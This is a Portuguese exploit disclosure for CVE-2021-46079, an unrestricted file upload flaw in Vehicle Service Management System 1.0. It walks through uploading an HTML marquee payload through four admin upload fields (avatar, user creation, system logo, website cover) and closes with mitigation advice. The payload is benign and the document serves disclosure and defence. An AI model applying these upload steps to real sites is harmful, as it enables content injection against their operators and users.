CVE-2021-46079
Título do Exploit: Vehicle Service Management System - 'Multiple' File upload leva à Injeção de HTML
Autor do Exploit: SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
Referências:
Descrição:
Existe uma vulnerabilidade de Upload de Arquivo Irrestrito no Sourcecodester Vehicle Service Management System 1.0. Um atacante remoto pode fazer upload de arquivos maliciosos, levando à Injeção de HTML.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salve o código html acima, por exemplo: Html Injection.html
- Na seção My Account, insira todos os detalhes necessários e selecione o arquivo html em Avatar.
- Clique no botão de atualizar.
- Abra a imagem do avatar em uma nova aba.
- A Injeção de HTML é executada.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção User List e clique no botão Create New.
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salve o código html acima, por exemplo: Html Injection.html
- Na página Create New User, insira todos os detalhes necessários e selecione o arquivo html em Avatar.
- Clique no botão Save.
- Abra a imagem do avatar em uma nova aba.
- A Injeção de HTML é executada.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Payload:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salve o código html acima, por exemplo: Html Injection.html
- Na seção Settings, insira todos os detalhes necessários e selecione o arquivo html em System Logo.
- Clique no botão de atualizar.
- Abra a imagem do System Logo em uma nova aba.
- A Injeção de HTML é executada.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salve o código html acima, por exemplo: Html Injection.html
- Na seção Settings, insira todos os detalhes necessários e selecione o arquivo html em Website Cover.
- Clique no botão de atualizar.
- Abra a imagem do Website Cover em uma nova aba.
- A Injeção de HTML é executada.
Impacto:
Um atacante pode fazer upload de um arquivo malicioso em vários endpoints, levando à Injeção de HTML.
Mitigação:
Recomenda-se implementar o seguinte:
- Nunca aceitar um nome de arquivo e sua extensão diretamente sem ter um filtro de lista branca.
- Se não houver necessidade de caracteres Unicode, é altamente recomendável aceitar apenas caracteres alfanuméricos e apenas um ponto como entrada para o nome do arquivo e a extensão.
- Limitar o tamanho do arquivo a um valor máximo para evitar ataques de negação de serviço.
- O diretório de upload não deve ter nenhuma permissão de "execução".
- Não confiar apenas na validação do lado do cliente.